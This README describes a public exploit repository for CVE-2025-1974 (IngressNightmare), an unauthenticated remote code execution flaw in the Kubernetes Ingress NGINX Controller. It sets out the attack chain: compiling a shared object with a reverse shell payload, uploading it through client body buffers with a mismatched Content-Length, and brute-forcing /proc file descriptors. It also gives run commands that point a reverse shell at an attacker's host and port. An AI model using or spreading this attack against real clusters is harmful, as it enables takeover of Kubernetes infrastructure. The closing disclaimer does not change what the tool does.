CVE-2025-1974

Exploit for Ingress NGINX - IngressNightmare

This project provides an exploit targeting critical unauthenticated Remote Code Execution (RCE) vulnerabilities in the Ingress NGINX Controller for Kubernetes, collectively referred to as IngressNightmare.

In the original research, the Wiz team did not provide a PoC or a functional exploit, so we decided to create our own and share it with the community.

Overview

The Ingress NGINX Controller is a widely used component in Kubernetes environments, managing external access to services within clusters. Recent vulnerabilities (CVE-2025-1097, CVE-2025-1098, CVE-2025-24514, CVE-2025-1974) have highlighted critical security risks.

Exploit Workflow

The exploit follows these main steps:

Generate shared object (used by the injected ssl_engine property): Compiles a .so library (evil_engine.so) containing reverse shell payload.

Upload the shared object: Sends the compiled shared object to the ingress pod, leveraging request handling (client body buffers). The trick here is to send a different Content-Length to the server to keep the connection open.

Brute-force fd: Iterates over process IDs and file descriptors (/proc/{pid}/fd/{fd}) to identify the correct descriptor referencing the uploaded object.

Usage

Prerequisites:

• Python 3.x
• GCC compiler
• Python requests module

Run exploit:

pip3 install -r requirements.txt

python3 exploit.py <ingress_url> <admission_webhook_url> [attacker_host:port](https://github.com/zwxxb/cve-2025-1974/blob/HEAD/attacker_host:port)

Ex: python3 poc.py http://192.168.0.154 https://rke2-ingress-nginx-controller-admission.kube-system 192.168.1.63:443

Sometimes the admission webhook is in a different namespace. In this case, you need to specify the namespace at the end, such as kube-system, default, or ingress-nginx.

• <ingress_url>: Target Ingress URL (public)
• <admission_webhook_url>: Admission webhook URL (internal webhook)
• [attacker_host:port](https://github.com/zwxxb/cve-2025-1974/blob/HEAD/attacker_host:port): Your host and port for reverse shell

Disclaimer

This exploit is provided strictly for educational and research purposes. Unauthorized use of this tool against targets without explicit permission is prohibited. Hakai Security and QuimeraX hold no responsibility for any misuse of this tool.